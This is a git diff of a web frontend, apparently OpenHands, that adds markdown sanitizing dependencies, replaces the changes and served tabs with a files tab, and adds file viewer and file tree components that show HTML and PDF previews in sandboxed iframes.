"node": ">=0.12"
|
||||
},
|
||||
"funding": {
|
||||
"url": "https://github.com/fb55/entities?sponsor=1"
|
||||
}
|
||||
},
|
||||
"node_modules/hast-util-raw/node_modules/parse5": {
|
||||
"version": "7.3.0",
|
||||
"resolved": "https://registry.npmjs.org/parse5/-/parse5-7.3.0.tgz",
|
||||
"integrity": "sha512-IInvU7fabl34qmi9gY8XOVxhYyMyuH2xUNpb2q8/Y+7552KlejkRvqvD19nMoUW/uQGGbqNpA6Tufu5FL5BZgw==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"entities": "^6.0.0"
|
||||
},
|
||||
"funding": {
|
||||
"url": "https://github.com/inikulin/parse5?sponsor=1"
|
||||
}
|
||||
},
|
||||
"node_modules/hast-util-sanitize": {
|
||||
"version": "5.0.2",
|
||||
"resolved": "https://registry.npmjs.org/hast-util-sanitize/-/hast-util-sanitize-5.0.2.tgz",
|
||||
"integrity": "sha512-3yTWghByc50aGS7JlGhk61SPenfE/p1oaFeNwkOOyrscaOkMGrcW9+Cy/QAIOBpZxP1yqDIzFMR0+Np0i0+usg==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"@types/hast": "^3.0.0",
|
||||
"@ungap/structured-clone": "^1.0.0",
|
||||
"unist-util-position": "^5.0.0"
|
||||
},
|
||||
"funding": {
|
||||
"type": "opencollective",
|
||||
"url": "https://opencollective.com/unified"
|
||||
}
|
||||
},
|
||||
"node_modules/hast-util-to-jsx-runtime": {
|
||||
"version": "2.3.6",
|
||||
"resolved": "https://registry.npmjs.org/hast-util-to-jsx-runtime/-/hast-util-to-jsx-runtime-2.3.6.tgz",
|
||||
@@ -11344,6 +11430,25 @@
|
||||
"url": "https://opencollective.com/unified"
|
||||
}
|
||||
},
|
||||
"node_modules/hast-util-to-parse5": {
|
||||
"version": "8.0.1",
|
||||
"resolved": "https://registry.npmjs.org/hast-util-to-parse5/-/hast-util-to-parse5-8.0.1.tgz",
|
||||
"integrity": "sha512-MlWT6Pjt4CG9lFCjiz4BH7l9wmrMkfkJYCxFwKQic8+RTZgWPuWxwAfjJElsXkex7DJjfSJsQIt931ilUgmwdA==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"@types/hast": "^3.0.0",
|
||||
"comma-separated-tokens": "^2.0.0",
|
||||
"devlop": "^1.0.0",
|
||||
"property-information": "^7.0.0",
|
||||
"space-separated-tokens": "^2.0.0",
|
||||
"web-namespaces": "^2.0.0",
|
||||
"zwitch": "^2.0.0"
|
||||
},
|
||||
"funding": {
|
||||
"type": "opencollective",
|
||||
"url": "https://opencollective.com/unified"
|
||||
}
|
||||
},
|
||||
"node_modules/hast-util-whitespace": {
|
||||
"version": "3.0.0",
|
||||
"resolved": "https://registry.npmjs.org/hast-util-whitespace/-/hast-util-whitespace-3.0.0.tgz",
|
||||
@@ -11456,6 +11561,16 @@
|
||||
"url": "https://opencollective.com/unified"
|
||||
}
|
||||
},
|
||||
"node_modules/html-void-elements": {
|
||||
"version": "3.0.0",
|
||||
"resolved": "https://registry.npmjs.org/html-void-elements/-/html-void-elements-3.0.0.tgz",
|
||||
"integrity": "sha512-bEqo66MRXsUGxWHV5IP0PUiAWwoEjba4VCzg0LjFJBpchPaTfyfCKTG6bc5F8ucKec3q5y6qOdGyYTSBEvhCrg==",
|
||||
"license": "MIT",
|
||||
"funding": {
|
||||
"type": "github",
|
||||
"url": "https://github.com/sponsors/wooorm"
|
||||
}
|
||||
},
|
||||
"node_modules/http-errors": {
|
||||
"version": "2.0.1",
|
||||
"resolved": "https://registry.npmjs.org/http-errors/-/http-errors-2.0.1.tgz",
|
||||
@@ -15645,6 +15760,35 @@
|
||||
"url": "https://github.com/sponsors/ljharb"
|
||||
}
|
||||
},
|
||||
"node_modules/rehype-raw": {
|
||||
"version": "7.0.0",
|
||||
"resolved": "https://registry.npmjs.org/rehype-raw/-/rehype-raw-7.0.0.tgz",
|
||||
"integrity": "sha512-/aE8hCfKlQeA8LmyeyQvQF3eBiLRGNlfBJEvWH7ivp9sBqs7TNqBL5X3v157rM4IFETqDnIOO+z5M/biZbo9Ww==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"@types/hast": "^3.0.0",
|
||||
"hast-util-raw": "^9.0.0",
|
||||
"vfile": "^6.0.0"
|
||||
},
|
||||
"funding": {
|
||||
"type": "opencollective",
|
||||
"url": "https://opencollective.com/unified"
|
||||
}
|
||||
},
|
||||
"node_modules/rehype-sanitize": {
|
||||
"version": "6.0.0",
|
||||
"resolved": "https://registry.npmjs.org/rehype-sanitize/-/rehype-sanitize-6.0.0.tgz",
|
||||
"integrity": "sha512-CsnhKNsyI8Tub6L4sm5ZFsme4puGfc6pYylvXo1AeqaGbjOYyzNv3qZPwvs0oMJ39eryyeOdmxwUIo94IpEhqg==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"@types/hast": "^3.0.0",
|
||||
"hast-util-sanitize": "^5.0.0"
|
||||
},
|
||||
"funding": {
|
||||
"type": "opencollective",
|
||||
"url": "https://opencollective.com/unified"
|
||||
}
|
||||
},
|
||||
"node_modules/remark-breaks": {
|
||||
"version": "4.0.0",
|
||||
"resolved": "https://registry.npmjs.org/remark-breaks/-/remark-breaks-4.0.0.tgz",
|
||||
@@ -17579,6 +17723,20 @@
|
||||
"url": "https://opencollective.com/unified"
|
||||
}
|
||||
},
|
||||
"node_modules/vfile-location": {
|
||||
"version": "5.0.3",
|
||||
"resolved": "https://registry.npmjs.org/vfile-location/-/vfile-location-5.0.3.tgz",
|
||||
"integrity": "sha512-5yXvWDEgqeiYiBe1lbxYF7UMAIm/IcopxMHrMQDq3nvKcjPKIhZklUKL+AE7J7uApI4kwe2snsK+eI6UTj9EHg==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"@types/unist": "^3.0.0",
|
||||
"vfile": "^6.0.0"
|
||||
},
|
||||
"funding": {
|
||||
"type": "opencollective",
|
||||
"url": "https://opencollective.com/unified"
|
||||
}
|
||||
},
|
||||
"node_modules/vfile-message": {
|
||||
"version": "4.0.3",
|
||||
"resolved": "https://registry.npmjs.org/vfile-message/-/vfile-message-4.0.3.tgz",
|
||||
@@ -17945,6 +18103,16 @@
|
||||
"node": ">=18"
|
||||
}
|
||||
},
|
||||
"node_modules/web-namespaces": {
|
||||
"version": "2.0.1",
|
||||
"resolved": "https://registry.npmjs.org/web-namespaces/-/web-namespaces-2.0.1.tgz",
|
||||
"integrity": "sha512-bKr1DkiNa2krS7qxNtdrtHAmzuYGFQLiQ13TsorsdT6ULTkPLKuu5+GsFpDlg6JFjUTwX2DyhMPG2be8uPrqsQ==",
|
||||
"license": "MIT",
|
||||
"funding": {
|
||||
"type": "github",
|
||||
"url": "https://github.com/sponsors/wooorm"
|
||||
}
|
||||
},
|
||||
"node_modules/web-vitals": {
|
||||
"version": "5.2.0",
|
||||
"resolved": "https://registry.npmjs.org/web-vitals/-/web-vitals-5.2.0.tgz",
|
||||
|
||||
+3
-1
@@ -11,7 +11,7 @@
|
||||
"@heroui/react": "2.8.10",
|
||||
"@microlink/react-json-view": "1.31.19",
|
||||
"@monaco-editor/react": "4.7.0",
|
||||
"@openhands/typescript-client": "github:OpenHands/typescript-client#6b9603f06ea0ecc9bc715bf2192e274c23cd3be6",
|
||||
"@openhands/typescript-client": "github:OpenHands/typescript-client#ef62e82fc3dfb03991a1c8025429caf354427263",
|
||||
"@react-router/node": "7.14.2",
|
||||
"@react-router/serve": "7.14.2",
|
||||
"@tailwindcss/vite": "4.2.4",
|
||||
@@ -40,6 +40,8 @@
|
||||
"react-markdown": "10.1.0",
|
||||
"react-router": "7.14.2",
|
||||
"react-syntax-highlighter": "16.1.1",
|
||||
"rehype-raw": "7.0.0",
|
||||
"rehype-sanitize": "6.0.0",
|
||||
"remark-breaks": "4.0.0",
|
||||
"remark-gfm": "4.0.1",
|
||||
"sirv-cli": "3.0.1",
|
||||
|
||||
+4
-5
@@ -9,9 +9,8 @@ import { useConversationId } from "#/hooks/use-conversation-id";
|
||||
// Lazy load all tab components, including the terminal — xterm + addon-fit +
|
||||
// xterm.css are large enough that we don't want them in the conversation
|
||||
// route's eager graph just because the terminal tab might be selected later.
|
||||
const EditorTab = lazy(() => import("#/routes/changes-tab"));
|
||||
const FilesTab = lazy(() => import("#/routes/files-tab"));
|
||||
const BrowserTab = lazy(() => import("#/routes/browser-tab"));
|
||||
const ServedTab = lazy(() => import("#/routes/served-tab"));
|
||||
const VSCodeTab = lazy(() => import("#/routes/vscode-tab"));
|
||||
const PlannerTab = lazy(() => import("#/routes/planner-tab"));
|
||||
const TaskListTab = lazy(() => import("#/routes/task-list-tab"));
|
||||
@@ -19,9 +18,8 @@ const Terminal = lazy(() => import("#/components/features/terminal/terminal"));
|
||||
|
||||
const TAB_CONFIG = {
|
||||
tasklist: { component: TaskListTab },
|
||||
editor: { component: EditorTab },
|
||||
files: { component: FilesTab },
|
||||
browser: { component: BrowserTab },
|
||||
served: { component: ServedTab },
|
||||
vscode: { component: VSCodeTab },
|
||||
terminal: { component: Terminal },
|
||||
planner: { component: PlannerTab },
|
||||
@@ -32,7 +30,8 @@ export function ConversationTabContent() {
|
||||
const { conversationId } = useConversationId();
|
||||
|
||||
const activeTab = useMemo(
|
||||
() => TAB_CONFIG[selectedTab ?? "editor"],
|
||||
() =>
|
||||
TAB_CONFIG[selectedTab as keyof typeof TAB_CONFIG] ?? TAB_CONFIG.files,
|
||||
[selectedTab],
|
||||
);
|
||||
|
||||
|
||||
+2
-4
@@ -8,8 +8,7 @@ import { useConversationStore } from "#/stores/conversation-store";
|
||||
import { I18nKey } from "#/i18n/declaration";
|
||||
import TerminalIcon from "#/icons/terminal.svg?react";
|
||||
import GlobeIcon from "#/icons/globe.svg?react";
|
||||
import ServerIcon from "#/icons/server.svg?react";
|
||||
import GitChanges from "#/icons/git_changes.svg?react";
|
||||
import DocumentIcon from "#/icons/document.svg?react";
|
||||
import VSCodeIcon from "#/icons/vscode.svg?react";
|
||||
import PillIcon from "#/icons/pill.svg?react";
|
||||
import PillFillIcon from "#/icons/pill-fill.svg?react";
|
||||
@@ -44,10 +43,9 @@ export function ConversationTabsContextMenu({
|
||||
icon: LessonPlanIcon,
|
||||
i18nKey: I18nKey.COMMON$PLANNER,
|
||||
},
|
||||
{ tab: "editor", icon: GitChanges, i18nKey: I18nKey.COMMON$CHANGES },
|
||||
{ tab: "files", icon: DocumentIcon, i18nKey: I18nKey.COMMON$FILES },
|
||||
{ tab: "vscode", icon: VSCodeIcon, i18nKey: I18nKey.COMMON$CODE },
|
||||
{ tab: "terminal", icon: TerminalIcon, i18nKey: I18nKey.COMMON$TERMINAL },
|
||||
{ tab: "served", icon: ServerIcon, i18nKey: I18nKey.COMMON$APP },
|
||||
{ tab: "browser", icon: GlobeIcon, i18nKey: I18nKey.COMMON$BROWSER },
|
||||
];
|
||||
|
||||
|
||||
@@ -2,13 +2,11 @@ import { useEffect, useState } from "react";
|
||||
import { useTranslation } from "react-i18next";
|
||||
import TerminalIcon from "#/icons/terminal.svg?react";
|
||||
import GlobeIcon from "#/icons/globe.svg?react";
|
||||
import ServerIcon from "#/icons/server.svg?react";
|
||||
import GitChanges from "#/icons/git_changes.svg?react";
|
||||
import DocumentIcon from "#/icons/document.svg?react";
|
||||
import VSCodeIcon from "#/icons/vscode.svg?react";
|
||||
import ThreeDotsVerticalIcon from "#/icons/three-dots-vertical.svg?react";
|
||||
import LessonPlanIcon from "#/icons/lesson-plan.svg?react";
|
||||
import DoubleCheckIcon from "#/icons/double-check.svg?react";
|
||||
import RefreshIcon from "#/icons/u-refresh.svg?react";
|
||||
import { cn } from "#/utils/utils";
|
||||
import { useConversationLocalStorageState } from "#/utils/conversation-local-storage";
|
||||
import { ConversationTabNav } from "./conversation-tab-nav";
|
||||
@@ -21,7 +19,6 @@ import { useConversationId } from "#/hooks/use-conversation-id";
|
||||
import { useSelectConversationTab } from "#/hooks/use-select-conversation-tab";
|
||||
import { useTaskList } from "#/hooks/use-task-list";
|
||||
import { useActiveBackend } from "#/contexts/active-backend-context";
|
||||
import { useUnifiedGetGitChanges } from "#/hooks/query/use-unified-get-git-changes";
|
||||
import { useHandleBuildPlanClick } from "#/hooks/use-handle-build-plan-click";
|
||||
import { useAgentState } from "#/hooks/use-agent-state";
|
||||
import { AgentState } from "#/types/agent-state";
|
||||
@@ -40,8 +37,6 @@ export function ConversationTabs() {
|
||||
const { hasTaskList } = useTaskList();
|
||||
const { backend } = useActiveBackend();
|
||||
|
||||
const { refetch: refetchGitChanges, isFetching: isFetchingGitChanges } =
|
||||
useUnifiedGetGitChanges();
|
||||
const { handleBuildPlanClick } = useHandleBuildPlanClick();
|
||||
const { curAgentState } = useAgentState();
|
||||
|
||||
@@ -68,9 +63,9 @@ export function ConversationTabs() {
|
||||
useEffect(() => {
|
||||
const handlePanelVisibilityChange = () => {
|
||||
if (isRightPanelShown) {
|
||||
// If no tab is selected, default to editor tab
|
||||
// If no tab is selected, default to files tab
|
||||
if (!selectedTab) {
|
||||
onTabChange("editor");
|
||||
onTabChange("files");
|
||||
}
|
||||
}
|
||||
};
|
||||
@@ -80,7 +75,18 @@ export function ConversationTabs() {
|
||||
|
||||
const { t } = useTranslation("openhands");
|
||||
|
||||
// `files` is intentionally the leftmost tab — it's the primary entry
|
||||
// point for inspecting agent output (workspace files + git diff).
|
||||
const tabs = [
|
||||
{
|
||||
tabValue: "files",
|
||||
isActive: isTabActive("files"),
|
||||
icon: DocumentIcon,
|
||||
onClick: () => selectTab("files"),
|
||||
tooltipContent: t(I18nKey.COMMON$FILES),
|
||||
tooltipAriaLabel: t(I18nKey.COMMON$FILES),
|
||||
label: t(I18nKey.COMMON$FILES),
|
||||
},
|
||||
{
|
||||
tabValue: "planner",
|
||||
isActive: isTabActive("planner"),
|
||||
@@ -90,15 +96,6 @@ export function ConversationTabs() {
|
||||
tooltipAriaLabel: t(I18nKey.COMMON$PLANNER),
|
||||
label: t(I18nKey.COMMON$PLANNER),
|
||||
},
|
||||
{
|
||||
tabValue: "editor",
|
||||
isActive: isTabActive("editor"),
|
||||
icon: GitChanges,
|
||||
onClick: () => selectTab("editor"),
|
||||
tooltipContent: t(I18nKey.COMMON$CHANGES),
|
||||
tooltipAriaLabel: t(I18nKey.COMMON$CHANGES),
|
||||
label: t(I18nKey.COMMON$CHANGES),
|
||||
},
|
||||
{
|
||||
tabValue: "vscode",
|
||||
isActive: isTabActive("vscode"),
|
||||
@@ -118,15 +115,6 @@ export function ConversationTabs() {
|
||||
label: t(I18nKey.COMMON$TERMINAL),
|
||||
className: "pl-2",
|
||||
},
|
||||
{
|
||||
tabValue: "served",
|
||||
isActive: isTabActive("served"),
|
||||
icon: ServerIcon,
|
||||
onClick: () => selectTab("served"),
|
||||
tooltipContent: t(I18nKey.COMMON$APP),
|
||||
tooltipAriaLabel: t(I18nKey.COMMON$APP),
|
||||
label: t(I18nKey.COMMON$APP),
|
||||
},
|
||||
{
|
||||
tabValue: "browser",
|
||||
isActive: isTabActive("browser"),
|
||||
@@ -139,7 +127,8 @@ export function ConversationTabs() {
|
||||
];
|
||||
|
||||
if (hasTaskList) {
|
||||
tabs.unshift({
|
||||
// Insert after `files` so the leftmost slot stays Files.
|
||||
tabs.splice(1, 0, {
|
||||
tabValue: "tasklist",
|
||||
isActive: isTabActive("tasklist"),
|
||||
icon: DoubleCheckIcon,
|
||||
@@ -199,22 +188,6 @@ export function ConversationTabs() {
|
||||
</ChatActionTooltip>
|
||||
),
|
||||
)}
|
||||
{isTabActive("editor") && (
|
||||
<button
|
||||
type="button"
|
||||
className="flex w-[26px] py-1 justify-center items-center gap-[10px] rounded-[7px] hover:enabled:bg-[#474A54] cursor-pointer disabled:opacity-50 disabled:cursor-not-allowed"
|
||||
onClick={() => refetchGitChanges()}
|
||||
disabled={isFetchingGitChanges}
|
||||
aria-label={t(I18nKey.COMMON$CHANGES)}
|
||||
>
|
||||
<RefreshIcon
|
||||
width={12.75}
|
||||
height={15}
|
||||
color="#ffffff"
|
||||
className={isFetchingGitChanges ? "animate-spin" : ""}
|
||||
/>
|
||||
</button>
|
||||
)}
|
||||
{isTabActive("planner") && (
|
||||
<button
|
||||
type="button"
|
||||
|
||||
@@ -0,0 +1,213 @@
|
||||
import { useTranslation } from "react-i18next";
|
||||
|
||||
import { I18nKey } from "#/i18n/declaration";
|
||||
import { useWorkspaceFileContent } from "#/hooks/query/use-workspace-file-content";
|
||||
import {
|
||||
useWorkspaceMutationCounter,
|
||||
withWorkspaceCacheBuster,
|
||||
} from "#/stores/use-workspace-mutation-counter";
|
||||
import { MarkdownRenderer } from "#/components/features/markdown/markdown-renderer";
|
||||
import { HighlightedSourceView } from "./highlighted-source-view";
|
||||
import type { ViewMode } from "./view-mode";
|
||||
|
||||
interface FileContentViewerProps {
|
||||
path: string;
|
||||
viewMode: ViewMode;
|
||||
}
|
||||
|
||||
const HTML_LIKE_EXTS = new Set(["html", "htm", "svg"]);
|
||||
const MARKDOWN_EXTS = new Set(["md", "markdown", "mdx"]);
|
||||
|
||||
function getExtension(path: string): string {
|
||||
const idx = path.lastIndexOf(".");
|
||||
return idx === -1 ? "" : path.slice(idx + 1).toLowerCase();
|
||||
}
|
||||
|
||||
/**
|
||||
* Renders the contents of a single workspace file. In `rich` mode we point
|
||||
* an iframe / <img> straight at the agent server's static workspace
|
||||
* fileserver for HTML / SVG / images / PDFs, so relative asset references
|
||||
* load naturally. In `plain` mode we always show the raw bytes as text (or
|
||||
* a fallback message for binaries).
|
||||
*/
|
||||
export function FileContentViewer({ path, viewMode }: FileContentViewerProps) {
|
||||
const { t } = useTranslation("openhands");
|
||||
const query = useWorkspaceFileContent(path);
|
||||
// Subscribe to the workspace mutation counter so the iframe / <img> src
|
||||
// changes after every agent-side edit, forcing a fresh fetch even when
|
||||
// the *path* hasn't moved (e.g. agent rewrote `style.css` referenced by
|
||||
// the currently-displayed `index.html`).
|
||||
const mutationCounter = useWorkspaceMutationCounter((state) => state.count);
|
||||
|
||||
if (query.isLoading) {
|
||||
return (
|
||||
<div className="flex h-full w-full items-center justify-center text-sm text-[#9299AA]">
|
||||
{t(I18nKey.FILES$LOADING_FILES)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
if (query.isError || !query.data) {
|
||||
// Show a load-error message rather than the binary-fallback string —
|
||||
// these are completely different failure modes (couldn't even fetch
|
||||
// the file vs. fetched fine but the bytes aren't previewable) and
|
||||
// mixing them up hides real backend failures behind a misleading
|
||||
// "Binary file" label. Prefer the underlying error's own message when
|
||||
// we have one; fall back to the generic translated string otherwise.
|
||||
return (
|
||||
<div
|
||||
className="flex h-full w-full items-center justify-center text-sm text-[#9299AA]"
|
||||
data-testid="file-content-viewer-error"
|
||||
>
|
||||
{(query.error as Error | undefined)?.message ??
|
||||
t(I18nKey.FILES$LOAD_ERROR)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
const { kind, text, staticUrl, mimeType } = query.data;
|
||||
const bustedStaticUrl = withWorkspaceCacheBuster(staticUrl, mutationCounter);
|
||||
|
||||
// ----- Plain mode: raw source bytes, syntax-highlighted when we can
|
||||
// recognize the grammar (falls through to a `<pre>` otherwise). This
|
||||
// includes "plain" view of markdown / HTML, where the point is to see
|
||||
// the markup behind the rich preview.
|
||||
if (viewMode === "plain") {
|
||||
if (kind === "text" && text !== null) {
|
||||
return (
|
||||
<HighlightedSourceView
|
||||
path={path}
|
||||
text={text}
|
||||
mimeType={mimeType ?? undefined}
|
||||
/>
|
||||
);
|
||||
}
|
||||
return (
|
||||
<div
|
||||
className="flex h-full w-full items-center justify-center text-sm text-[#9299AA]"
|
||||
data-testid="file-content-viewer-binary-fallback"
|
||||
>
|
||||
{t(I18nKey.FILES$BINARY_FALLBACK)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
// ----- Rich mode: render HTML, markdown, images, PDFs from staticUrl. ----
|
||||
if (kind === "image") {
|
||||
return (
|
||||
<div
|
||||
className="flex h-full w-full items-center justify-center bg-[#1F2125] p-4"
|
||||
data-testid="file-content-viewer-image"
|
||||
>
|
||||
<img
|
||||
src={bustedStaticUrl}
|
||||
alt={path}
|
||||
className="max-h-full max-w-full object-contain"
|
||||
/>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
if (kind === "pdf") {
|
||||
// PDFs can carry embedded JavaScript (AcroForm, OpenAction…). Even
|
||||
// though `staticUrl` lives on the agent server origin, the PDF
|
||||
// viewer's scripting capability isn't worth the risk for a file
|
||||
// preview, so we sandbox the iframe. `allow-same-origin` lets the
|
||||
// browser's built-in PDF viewer load the underlying bytes without
|
||||
// tripping cross-origin restrictions; we omit `allow-scripts`
|
||||
// because no PDF preview we care about needs to run JS in the
|
||||
// parent's origin.
|
||||
return (
|
||||
<iframe
|
||||
title={path}
|
||||
src={bustedStaticUrl}
|
||||
sandbox="allow-same-origin"
|
||||
data-testid="file-content-viewer-iframe"
|
||||
className="h-full w-full bg-white"
|
||||
/>
|
||||
);
|
||||
}
|
||||
|
||||
if (kind === "binary") {
|
||||
return (
|
||||
<div
|
||||
className="flex h-full w-full items-center justify-center text-sm text-[#9299AA]"
|
||||
data-testid="file-content-viewer-binary-fallback"
|
||||
>
|
||||
{t(I18nKey.FILES$BINARY_FALLBACK)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
// Text-like content.
|
||||
if (mimeType === "text/html" || HTML_LIKE_EXTS.has(getExtension(path))) {
|
||||
// Sandbox the preview iframe: `allow-same-origin` keeps the frame on
|
||||
// the workspace fileserver's origin so relative `<link href="…">`,
|
||||
// `<img src="…">`, etc. continue to resolve, while the absence of
|
||||
// `allow-scripts` means any `<script>` (or `onerror=…`, inline event
|
||||
// handler, …) inside the previewed file is inert. This is exactly
|
||||
// the safe-preview posture we want — users can look at their HTML
|
||||
// without it executing in the canvas's context.
|
||||
return (
|
||||
<iframe
|
||||
title={path}
|
||||
src={bustedStaticUrl}
|
||||
sandbox="allow-same-origin"
|
||||
data-testid="file-content-viewer-iframe"
|
||||
className="h-full w-full bg-white"
|
||||
/>
|
||||
);
|
||||
}
|
||||
|
||||
if (kind === "text" && MARKDOWN_EXTS.has(getExtension(path))) {
|
||||
// Match the right-pane chrome color so the rich-rendered markdown
|
||||
// blends with the surrounding files tab instead of painting a stark
|
||||
// white card. We use `prose-invert` (typography plugin's dark-theme
|
||||
// variant) and then layer arbitrary CSS-variable overrides on top to
|
||||
// pin body / bold / quote text to pure white — the user specifically
|
||||
// asked for every text element (not just headings) to read as white.
|
||||
// The custom heading components in `markdown/headings.tsx` already
|
||||
// hard-code `text-white`, so headers stay white through this change.
|
||||
return (
|
||||
<div
|
||||
data-testid="file-content-viewer-markdown"
|
||||
className="h-full w-full overflow-auto bg-[#25272D] text-white custom-scrollbar-always"
|
||||
>
|
||||
<div className="prose prose-sm prose-invert max-w-none p-6 [--tw-prose-body:#fff] [--tw-prose-bold:#fff] [--tw-prose-headings:#fff] [--tw-prose-lead:#fff] [--tw-prose-counters:#fff] [--tw-prose-quotes:#fff] [--tw-prose-quote-borders:#3A3D44] [--tw-prose-bullets:#9299AA] [--tw-prose-hr:#3A3D44] [--tw-prose-captions:#9299AA] [--tw-prose-kbd:#fff]">
|
||||
<MarkdownRenderer
|
||||
content={text ?? ""}
|
||||
includeStandard
|
||||
includeHeadings
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
// Rich mode for actual source code (.ts, .py, .yaml, .css, …): there
|
||||
// is no other "rich" rendering to fall back to, so highlighted source
|
||||
// IS the rich view. Identical to the plain-mode treatment — keeping
|
||||
// both branches reuse `HighlightedSourceView` means the toggle has the
|
||||
// same visual identity for source files in both modes (which is the
|
||||
// honest answer: source IS rendered code).
|
||||
if (kind === "text" && text !== null) {
|
||||
return (
|
||||
<HighlightedSourceView
|
||||
path={path}
|
||||
text={text}
|
||||
mimeType={mimeType ?? undefined}
|
||||
/>
|
||||
);
|
||||
}
|
||||
|
||||
// Truly unknown / empty payload — show a fallback so the pane is never
|
||||
// blank.
|
||||
return (
|
||||
<div
|
||||
className="flex h-full w-full items-center justify-center text-sm text-[#9299AA]"
|
||||
data-testid="file-content-viewer-binary-fallback"
|
||||
>
|
||||
{t(I18nKey.FILES$BINARY_FALLBACK)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -0,0 +1,97 @@
|
||||
import { useMemo } from "react";
|
||||
import { useTranslation } from "react-i18next";
|
||||
|
||||
import ChevronLeft from "#/icons/chevron-left-small.svg?react";
|
||||
import ChevronRight from "#/icons/chevron-right-small.svg?react";
|
||||
import { I18nKey } from "#/i18n/declaration";
|
||||
import { sortFilesByPriority } from "#/utils/file-priority";
|
||||
import { cn } from "#/utils/utils";
|
||||
|
||||
interface FileQuickRowProps {
|
||||
paths: string[];
|
||||
selectedPath: string | null;
|
||||
onSelectFile: (path: string) => void;
|
||||
/** Whether the left-hand file tree is currently visible. */
|
||||
isTreeVisible: boolean;
|
||||
/** Toggle the visibility of the left-hand file tree. */
|
||||
onToggleTree: () => void;
|
||||
}
|
||||
|
||||
/**
|
||||
* Horizontal "quick access" row of files at the top of the file viewer.
|
||||
* Important entrypoints (index.html, README.md, package.json, …) appear
|
||||
* first. A small caret on the leading edge toggles the full file tree on
|
||||
* the left — there is no overflow dropdown, so anything that doesn't fit
|
||||
* here is reachable by opening the tree.
|
||||
*/
|
||||
export function FileQuickRow({
|
||||
paths,
|
||||
selectedPath,
|
||||
onSelectFile,
|
||||
isTreeVisible,
|
||||
onToggleTree,
|
||||
}: FileQuickRowProps) {
|
||||
const { t } = useTranslation("openhands");
|
||||
|
||||
const sortedByPriority = useMemo(() => sortFilesByPriority(paths), [paths]);
|
||||
|
||||
return (
|
||||
<div
|
||||
className="flex items-center gap-1.5 border-b border-[#3A3D44] px-2 py-1.5 min-h-[34px]"
|
||||
data-testid="file-quick-row"
|
||||
>
|
||||
<button
|
||||
type="button"
|
||||
onClick={onToggleTree}
|
||||
data-testid="file-quick-row-tree-toggle"
|
||||
aria-pressed={isTreeVisible}
|
||||
aria-label={t(
|
||||
isTreeVisible
|
||||
? I18nKey.FILES$HIDE_FILE_TREE
|
||||
: I18nKey.FILES$SHOW_FILE_TREE,
|
||||
)}
|
||||
title={t(
|
||||
isTreeVisible
|
||||
? I18nKey.FILES$HIDE_FILE_TREE
|
||||
: I18nKey.FILES$SHOW_FILE_TREE,
|
||||
)}
|
||||
className={cn(
|
||||
"shrink-0 inline-flex items-center justify-center w-6 h-6 rounded-md cursor-pointer",
|
||||
"text-[#D6D6D6] hover:bg-[#3A3D44]",
|
||||
isTreeVisible && "bg-[#2F3137]",
|
||||
)}
|
||||
>
|
||||
{isTreeVisible ? (
|
||||
<ChevronLeft className="w-3 h-3" />
|
||||
) : (
|
||||
<ChevronRight className="w-3 h-3" />
|
||||
)}
|
||||
</button>
|
||||
|
||||
{sortedByPriority.length > 0 && (
|
||||
<div className="flex flex-nowrap items-center gap-1.5 overflow-hidden flex-1 min-w-0">
|
||||
{sortedByPriority.map((path) => {
|
||||
const isSelected = selectedPath === path;
|
||||
return (
|
||||
<button
|
||||
key={path}
|
||||
type="button"
|
||||
onClick={() => onSelectFile(path)}
|
||||
title={path}
|
||||
data-testid={`file-quick-row-item-${path}`}
|
||||
className={cn(
|
||||
"inline-flex items-center px-2 py-0.5 text-xs whitespace-nowrap rounded-md cursor-pointer",
|
||||
isSelected
|
||||
? "bg-[#474A54] text-white"
|
||||
: "bg-[#2F3137] text-[#D6D6D6] hover:bg-[#3A3D44]",
|
||||
)}
|
||||
>
|
||||
{path}
|
||||
</button>
|
||||
);
|
||||
})}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -0,0 +1,120 @@
|
||||
import { useMemo, useState } from "react";
|
||||
import { useTranslation } from "react-i18next";
|
||||
|
||||
import FileIcon from "#/icons/file.svg?react";
|
||||
import FolderIcon from "#/icons/folder.svg?react";
|
||||
import { I18nKey } from "#/i18n/declaration";
|
||||
import { buildFileTree, FileTreeNode } from "#/utils/file-tree";
|
||||
import { cn } from "#/utils/utils";
|
||||
|
||||
interface FileTreeViewProps {
|
||||
paths: string[];
|
||||
selectedPath: string | null;
|
||||
onSelectFile: (path: string) => void;
|
||||
}
|
||||
|
||||
interface TreeNodeProps {
|
||||
node: FileTreeNode;
|
||||
depth: number;
|
||||
selectedPath: string | null;
|
||||
onSelectFile: (path: string) => void;
|
||||
}
|
||||
|
||||
function TreeNode({ node, depth, selectedPath, onSelectFile }: TreeNodeProps) {
|
||||
const [isOpen, setIsOpen] = useState(false);
|
||||
const indentPx = 8 + depth * 12;
|
||||
|
||||
if (node.isDirectory) {
|
||||
return (
|
||||
<li>
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => setIsOpen((prev) => !prev)}
|
||||
aria-expanded={isOpen}
|
||||
data-testid={`file-tree-dir-${node.path}`}
|
||||
className={cn(
|
||||
"flex w-full items-center gap-1.5 py-1 pr-2 text-left text-sm text-white",
|
||||
"hover:bg-[#3A3D44] cursor-pointer",
|
||||
)}
|
||||
style={{ paddingLeft: `${indentPx}px` }}
|
||||
>
|
||||
<span
|
||||
aria-hidden
|
||||
className={cn(
|
||||
"inline-block w-3 text-[10px] text-[#9299AA] transition-transform",
|
||||
isOpen ? "rotate-90" : "rotate-0",
|
||||
)}
|
||||
>
|
||||
▶
|
||||
</span>
|
||||
<FolderIcon className="w-3.5 h-3.5 shrink-0" />
|
||||
<span className="truncate">{node.name}</span>
|
||||
</button>
|
||||
{isOpen && node.children.length > 0 && (
|
||||
